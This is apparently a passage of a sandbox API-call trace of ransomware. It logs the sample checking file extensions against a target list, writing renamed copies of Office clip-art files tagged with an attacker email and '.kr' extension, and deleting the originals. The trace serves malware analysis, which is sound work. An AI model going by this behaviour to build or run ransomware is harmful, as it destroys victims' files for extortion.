lpString2=".WMF") returned 1 [0184.266] lstrlenW (lpString=".rar") returned 4 [0184.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.266] lstrlenW (lpString=".bz2") returned 4 [0184.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.266] lstrlenW (lpString=".7z") returned 3 [0184.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.266] lstrlenW (lpString=".dbf") returned 4 [0184.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.266] lstrlenW (lpString=".1cd") returned 4 [0184.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.266] lstrlenW (lpString=".jpg") returned 4 [0184.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.267] lstrlenW (lpString=".doc") returned 4 [0184.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.267] lstrlenW (lpString=".docx") returned 5 [0184.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.267] lstrlenW (lpString=".pdf") returned 4 [0184.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.267] lstrlenW (lpString=".xls") returned 4 [0184.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.267] lstrlenW (lpString=".xlsx") returned 5 [0184.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.267] lstrlenW (lpString=".ppt") returned 4 [0184.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.267] lstrlenW (lpString=".zip") returned 4 [0184.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.267] lstrlenW (lpString=".rar") returned 4 [0184.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.267] lstrlenW (lpString=".bz2") returned 4 [0184.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.267] lstrlenW (lpString=".7z") returned 3 [0184.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.267] lstrlenW (lpString=".dbf") returned 4 [0184.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.267] lstrlenW (lpString=".1cd") returned 4 [0184.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.267] lstrlenW (lpString=".jpg") returned 4 [0184.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.268] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.268] lstrlenW (lpString="BS00453_.WMF") returned 12 [0184.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.370] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2436) returned 1 [0184.370] CloseHandle (hObject=0x500) returned 1 [0184.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0184.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.371] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.372] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.372] GetLastError () returned 0x0 [0184.373] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x984, lpOverlapped=0x0) returned 1 [0184.374] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x990, lpOverlapped=0x0) returned 1 [0184.375] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.375] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.375] SetEndOfFile (hFile=0x518) returned 1 [0184.375] CloseHandle (hObject=0x518) returned 1 [0184.375] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.375] SetEndOfFile (hFile=0x500) returned 1 [0184.378] CloseHandle (hObject=0x500) returned 1 [0184.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0184.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.380] lstrlenW (lpString=".doc") returned 4 [0184.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.380] lstrlenW (lpString=".docx") returned 5 [0184.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.380] lstrlenW (lpString=".pdf") returned 4 [0184.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.380] lstrlenW (lpString=".xls") returned 4 [0184.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.380] lstrlenW (lpString=".xlsx") returned 5 [0184.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.380] lstrlenW (lpString=".ppt") returned 4 [0184.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.380] lstrlenW (lpString=".zip") returned 4 [0184.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.380] lstrlenW (lpString=".rar") returned 4 [0184.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.380] lstrlenW (lpString=".bz2") returned 4 [0184.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.380] lstrlenW (lpString=".7z") returned 3 [0184.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.380] lstrlenW (lpString=".dbf") returned 4 [0184.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.380] lstrlenW (lpString=".1cd") returned 4 [0184.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.380] lstrlenW (lpString=".jpg") returned 4 [0184.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.381] lstrlenW (lpString=".doc") returned 4 [0184.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.381] lstrlenW (lpString=".docx") returned 5 [0184.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.381] lstrlenW (lpString=".pdf") returned 4 [0184.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.381] lstrlenW (lpString=".xls") returned 4 [0184.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.381] lstrlenW (lpString=".xlsx") returned 5 [0184.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.381] lstrlenW (lpString=".ppt") returned 4 [0184.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.381] lstrlenW (lpString=".zip") returned 4 [0184.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.381] lstrlenW (lpString=".rar") returned 4 [0184.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.381] lstrlenW (lpString=".bz2") returned 4 [0184.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.381] lstrlenW (lpString=".7z") returned 3 [0184.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.381] lstrlenW (lpString=".dbf") returned 4 [0184.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.381] lstrlenW (lpString=".1cd") returned 4 [0184.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0184.381] lstrlenW (lpString=".jpg") returned 4 [0184.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.382] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.382] lstrlenW (lpString="BS01603_.WMF") returned 12 [0184.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.383] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=7176) returned 1 [0184.383] CloseHandle (hObject=0x500) returned 1 [0184.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0184.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.383] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.383] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.384] GetLastError () returned 0x0 [0184.384] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1c08, lpOverlapped=0x0) returned 1 [0184.386] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0184.387] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.387] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.387] SetEndOfFile (hFile=0x518) returned 1 [0184.387] CloseHandle (hObject=0x518) returned 1 [0184.387] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.387] SetEndOfFile (hFile=0x500) returned 1 [0184.390] CloseHandle (hObject=0x500) returned 1 [0184.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0184.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.391] lstrlenW (lpString=".doc") returned 4 [0184.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.391] lstrlenW (lpString=".docx") returned 5 [0184.391] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.391] lstrlenW (lpString=".pdf") returned 4 [0184.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.391] lstrlenW (lpString=".xls") returned 4 [0184.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.391] lstrlenW (lpString=".xlsx") returned 5 [0184.391] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.391] lstrlenW (lpString=".ppt") returned 4 [0184.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.391] lstrlenW (lpString=".zip") returned 4 [0184.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.391] lstrlenW (lpString=".rar") returned 4 [0184.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.391] lstrlenW (lpString=".bz2") returned 4 [0184.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.391] lstrlenW (lpString=".7z") returned 3 [0184.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.392] lstrlenW (lpString=".dbf") returned 4 [0184.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.392] lstrlenW (lpString=".1cd") returned 4 [0184.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.392] lstrlenW (lpString=".jpg") returned 4 [0184.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.392] lstrlenW (lpString=".doc") returned 4 [0184.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.392] lstrlenW (lpString=".docx") returned 5 [0184.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.392] lstrlenW (lpString=".pdf") returned 4 [0184.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.392] lstrlenW (lpString=".xls") returned 4 [0184.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.392] lstrlenW (lpString=".xlsx") returned 5 [0184.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.392] lstrlenW (lpString=".ppt") returned 4 [0184.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.392] lstrlenW (lpString=".zip") returned 4 [0184.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.392] lstrlenW (lpString=".rar") returned 4 [0184.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.392] lstrlenW (lpString=".bz2") returned 4 [0184.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.392] lstrlenW (lpString=".7z") returned 3 [0184.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.393] lstrlenW (lpString=".dbf") returned 4 [0184.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.393] lstrlenW (lpString=".1cd") returned 4 [0184.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0184.393] lstrlenW (lpString=".jpg") returned 4 [0184.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.393] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.393] lstrlenW (lpString="BS01634_.WMF") returned 12 [0184.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.393] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=3494) returned 1 [0184.393] CloseHandle (hObject=0x500) returned 1 [0184.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0184.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.394] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.394] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.395] GetLastError () returned 0x0 [0184.395] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xda6, lpOverlapped=0x0) returned 1 [0184.396] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xdb0, lpOverlapped=0x0) returned 1 [0184.397] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.397] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.397] SetEndOfFile (hFile=0x518) returned 1 [0184.397] CloseHandle (hObject=0x518) returned 1 [0184.397] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.397] SetEndOfFile (hFile=0x500) returned 1 [0184.400] CloseHandle (hObject=0x500) returned 1 [0184.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0184.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.401] lstrlenW (lpString=".doc") returned 4 [0184.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.401] lstrlenW (lpString=".docx") returned 5 [0184.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.401] lstrlenW (lpString=".pdf") returned 4 [0184.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.401] lstrlenW (lpString=".xls") returned 4 [0184.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.401] lstrlenW (lpString=".xlsx") returned 5 [0184.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.401] lstrlenW (lpString=".ppt") returned 4 [0184.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.401] lstrlenW (lpString=".zip") returned 4 [0184.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.402] lstrlenW (lpString=".rar") returned 4 [0184.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.402] lstrlenW (lpString=".bz2") returned 4 [0184.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.402] lstrlenW (lpString=".7z") returned 3 [0184.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0184.402] lstrlenW (lpString=".dbf") returned 4 